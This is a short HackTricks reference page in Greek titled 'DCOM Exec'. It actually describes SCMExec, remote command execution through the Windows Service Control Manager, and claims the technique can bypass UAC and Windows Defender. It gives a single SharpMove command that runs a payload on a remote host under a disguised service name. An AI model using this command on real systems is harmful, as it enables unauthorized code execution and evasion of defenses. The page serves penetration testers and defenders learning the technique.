DCOM Exec

Reading time: 2 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

SCM

SCMExec είναι μια τεχνική για την εκτέλεση εντολών σε απομακρυσμένα συστήματα χρησιμοποιώντας τον Διαχειριστή Ελέγχου Υπηρεσιών (SCM) για να δημιουργήσει μια υπηρεσία που εκτελεί την εντολή. Αυτή η μέθοδος μπορεί να παρακάμψει ορισμένους ελέγχους ασφαλείας, όπως τον Έλεγχο Λογαριασμού Χρήστη (UAC) και τον Windows Defender.

Tools

SharpMove.exe action=scm computername=remote.host.local command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks